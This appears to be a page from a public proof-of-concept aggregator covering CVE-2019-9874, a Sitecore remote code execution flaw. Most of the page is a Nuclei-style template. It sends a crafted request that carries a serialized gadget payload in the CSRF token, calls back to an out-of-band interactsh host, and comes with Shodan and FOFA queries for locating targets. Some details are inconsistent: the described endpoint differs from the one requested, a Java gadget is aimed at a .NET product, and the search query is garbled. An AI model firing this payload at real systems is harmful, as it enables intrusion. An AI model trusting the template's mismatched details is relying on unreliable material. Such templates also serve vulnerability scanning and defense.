CVE-2019-9874: Sitecore Experience Platform - Deserialization of Untrusted Data

2025-08-01 Sitecore Experience Platform PoC Public

Description

Sitecore Experience Platform before 8.2 Update-7 and 9.0 before Update-2 is vulnerable to a remote code execution vulnerability (CVE-2019-9874). An attacker can exploit this issue to execute arbitrary code on the affected system via a crafted request to the /sitecore/shell/Applications/Layouts/IDE.aspx endpoint.

PoC

id: CVE-2019-9874

info:
  name: Sitecore Experience Platform - Deserialization of Untrusted Data
  author: ritikchaddha
  severity: critical
  description: |
    Sitecore Experience Platform before 8.2 Update-7 and 9.0 before Update-2 is vulnerable to a remote code execution vulnerability (CVE-2019-9874). An attacker can exploit this issue to execute arbitrary code on the affected system via a crafted request to the /sitecore/shell/Applications/Layouts/IDE.aspx endpoint.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Sitecore or apply security patches addressing deserialization issues.
  reference:
    - https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9874
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9874
    epss-score: 0.83736
    epss-percentile: 0.99674
    cwe-id: CWE-502
    cpe: cpe:2.3:a:sitecore:experience_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sitecore
    product: experience_platform
    shodan-query: http.html:"SitecoSitecore Experience Platform"
    fofa-query: body="Sitecore Experience Platform"
  tags: cve,cve2019,sitecore,deserialization,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /sitecore/shell/Applications/Security/CreateNewUser/CreateNewUser.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: __CSRFCOOKIE={{randstr}};

        __CSRFTOKEN={{generate_java_gadget("dns", "https://{{interactsh-url}}", "base64")}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PotentialCsrfException"
          - "deserialization"
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100a89b328869a3d47d230422306036bdc0b9de46cea5b83ef3b3cb20ee764ae46f02200669b30fa6b1163dfcd5f6660e388ed419568165a4f7b01da59956204b1a0e4e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities